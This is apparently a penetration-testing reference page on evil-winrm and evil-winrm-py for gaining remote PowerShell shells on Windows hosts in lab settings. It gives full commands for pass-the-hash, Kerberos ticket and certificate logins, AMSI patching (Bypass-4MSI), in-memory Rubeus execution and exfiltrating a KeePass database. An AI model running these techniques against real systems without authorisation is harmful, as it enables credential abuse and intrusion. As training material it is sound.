Evil-WinRM & evil-winrm-py
WinRM (Windows Remote Management, HTTP 5985 / HTTPS 5986) is the remote-PowerShell service. A reachable WinRM listener, accepted authentication and endpoint authorization are all required. Remote Management Users or local Administrators membership often grants access, but endpoint ACLs and JEA policies can still restrict it. Always confirm access first — netexec winrm $IP -u user -p pass printing (Pwn3d!) means that account can log in here.
Two implementations, same job:
evil-winrm (Ruby, v4.1) | evil-winrm-py (Python, v1.7) | |
|---|---|---|
| Binary | evil-winrm | evil-winrm-py |
| Password | -p | -p |
| NT hash (PtH) | -H | -H |
| Kerberos | -r REALM (needs /etc/krb5.conf + KRB5CCNAME) | -k (reads KRB5CCNAME) |
| Cert (PFX→PEM) | -c pub.pem -k priv.pem -S | --cert-pem/--priv-key-pem |
| Built-in upload/download | yes | yes |
-s scripts / -e C# exe menu | yes | menu-driven |
Ruby uses -S for HTTPS; the Python client uses --ssl. Confirm the port independently: for Python use --ssl --port 5986, because its documented port default is 5985.
evil-winrm (Ruby) — the common one
# password
evil-winrm -i dc01.domain.htb -u user -p 'ExamplePassword!'
# pass-the-hash: NT hash only, no LM half needed
evil-winrm -i 10.10.11.42 -u administrator -H '<32-hex-NT-hash>'
# over HTTPS / 5986
evil-winrm -i target.htb -u user -p pass -S
# local scripts dir (so you can call Invoke-X from the session) + C# exe dir
evil-winrm -i target.htb -u user -p pass -s /opt/scripts/ -e /opt/exes/
# log the whole session to a file
evil-winrm -i target.htb -u user -p pass -l
Kerberos (needed when NTLM is disabled on the domain):
# 1. get a TGT into a ccache
getTGT.py domain.htb/user:pass # or kinit user
export KRB5CCNAME=user.ccache
# 2. /etc/krb5.conf must map the realm; then:
evil-winrm -i dc01.domain.htb -u user -r DOMAIN.HTB
# use a .ccache/.kirbi directly:
evil-winrm -i dc01.domain.htb -u user -K user.ccache
| Flag | Meaning |
|---|---|
-i | target IP/host (use the FQDN for Kerberos) |
-u / -p | username / password |
-H | NT hash (pass-the-hash) |
-S | enable SSL (5986) |
-r REALM | Kerberos auth (uppercase realm) |
-K file | use a ccache/kirbi ticket file |
-c / -k | public / private key cert for PtC (pair with -S) |
-s DIR / -e DIR | local PS script dir / C# exe dir to expose in-shell |
-P PORT | non-default port |
-l | log session |
-N | disable remote path tab-completion (fixes a common hang) |
In-shell commands (evil-winrm menu)
These are typed inside the *Evil-WinRM* PS > prompt, not in bash:
upload /opt/tools/winPEASx64.exe C:\Windows\Temp\p.exe # local -> remote
download C:\Users\user\Desktop\loot.kdbx loot.kdbx # remote -> local
menu # list loaded functions after -s / -e
Invoke-Binary /opt/exes/Rubeus.exe # run a C# exe from -e dir, in memory
Bypass-4MSI # patch AMSI in the current session
services # list services + perms
[!tip] First move in any shell
whoami /allthenwhoami /priv—SeImpersonatePrivilege/SeDebugPrivilege/SeBackupPrivilegeare leads to investigate; exploitation depends on the token, service and host configuration. See Windows Privilege Escalation.
evil-winrm-py (Python) — hashes, Kerberos, certs
Cleaner Kerberos story (-k just reads KRB5CCNAME) and PEM-based cert auth. Same upload/download, menu-driven Invoke-Binary equivalent.
# password / hash
evil-winrm-py -i dc01.fluffy.htb -u winrm_svc -p 'Password!'
evil-winrm-py -i dc01.fluffy.htb -u winrm_svc -H '<32-hex-NT-hash>'
# Kerberos — ticket already in KRB5CCNAME
export KRB5CCNAME=user.ccache
evil-winrm-py -i dc01.domain.htb -u user -k --no-pass
# certificate (e.g. after certipy auth gives you a key+cert)
evil-winrm-py -i dc01.domain.htb -u administrator --cert-pem admin.crt --priv-key-pem admin.key --ssl --port 5986
| Flag | Meaning |
|---|---|
-i / -u / -p | host / user / password |
-H | NT hash |
-k | Kerberos (uses KRB5CCNAME); pair with --no-pass |
--cert-pem / --priv-key-pem | PEM cert + key auth (pass-the-cert) |
--ssl | 5986 |
--port | custom port |
--spn-prefix / --spn-hostname | override Kerberos SPN (default HTTP/<host>) |
-c | JEA session configuration name |
--log | log session |
[!tip] PFX → PEM for cert auth Both clients want a separate cert and key in PEM. Split a
.pfxwith:certipy cert -pfx administrator.pfx -nocert -out admin.key certipy cert -pfx administrator.pfx -nokey -out admin.crt
[!warning] Common failures
WinRMAuthorizationError/ 401 on PtH — that account may lack endpoint permission, have the wrong hash, be affected by policy, or be using the wrong authentication transport. Re-check withnetexec winrm(noPwn3d!= no shell here).- Kerberos
KRB_AP_ERR_SKEW— your clock is off the DC.sudo ntpdate <dc>(orfaketime) before connecting.- Kerberos silently falls back / fails — you must use the DC FQDN with
-i, the realm must be uppercase, and/etc/krb5.confmust resolve the KDC.- Shell hangs on tab / long paths — run Ruby
evil-winrmwith-N.
Establish the session before moving files
whoami
hostname
$PSVersionTable.PSVersion
Get-Location
Use these target-side commands to record the effective identity and shell location. upload reads a path on your attacking host; download reads a path on the Windows host. They are client commands, not PowerShell cmdlets.
If Kerberos login works but a second network hop fails, check ticket delegation and the remote service’s permissions. A WinRM session does not automatically carry reusable credentials to every other host. JEA can also expose only a limited command set.
Success: a command executes under the expected account on the expected host. A NetExec login banner or open port alone does not establish shell access. Retain a redacted session log, and record uploaded filenames for cleanup.
Identify the session before executing tools
At the remote PowerShell prompt:
hostname
whoami /all
$PSVersionTable
[Environment]::Is64BitProcess
Get-Location
WinRM authentication and permission to create a shell are separate checks. Remote Management Users membership is useful evidence, but endpoint ACLs and local/domain policy still decide whether the session opens. A WinRM process also has a different logon context from a desktop session, which can affect network access and user-store decryption.
Make file transfers verifiable
# Local workstation
sha256sum ./lab-proof.exe
evil-winrm -i host.example.test -u labuser
The Ruby client prompts when no password/hash is supplied. In the opened session:
upload ./lab-proof.exe C:\Lab\lab-proof.exe
Get-FileHash 'C:\Lab\lab-proof.exe' -Algorithm SHA256
Get-Item 'C:\Lab\lab-proof.exe' | Select-Object Length,FullName
Create the destination directory first if needed. Compare digests before treating a binary execution failure as a compatibility issue. The local path belongs to the client machine, while the destination belongs to the Windows host.
Diagnose the PowerShell second hop
Test-NetConnection files01.example.test -Port 445
whoami
If a remote share is reachable but access is denied, the WinRM session may lack delegated credentials for that second connection. A successful first-hop password login does not guarantee credential delegation. Test the required share with an explicitly selected approved identity or choose a direct client-side SMB transfer rather than changing domain delegation broadly.
Error matrix
| Failure stage | Check |
|---|---|
| TCP connection | Host, 5985/5986, route and listener |
| TLS handshake | HTTPS switch, hostname and certificate trust |
| Authentication rejected | Local/domain identity and supported password/hash/Kerberos/cert method |
| Auth succeeds, shell denied | Endpoint ACL and remote-logon policy |
| Kerberos fails | FQDN, realm, SPN, cache and UTC time |
| Script loads but command is absent | Scope, function name, script prerequisites and client load mechanism |
| Process cannot execute | Architecture, runtime, file integrity and application controls |
Complete the session cleanly
Stop any test background processes, remove transferred proof files and confirm that no directory/service changes remain. Keep the baseline, client variant/version, target FQDN and identity proof. For protocols outside WinRM use NetExec and smbclient rather than assuming the same account has the same rights everywhere.
See Also
- NetExec — confirm
(Pwn3d!)overwinrmbefore launching a shell. - Impacket —
getTGT.py/getST.pyto build the ccache Kerberos auth needs. - Certipy — produces the PFX you split for cert auth.
- Windows Privilege Escalation — where to go once the shell lands.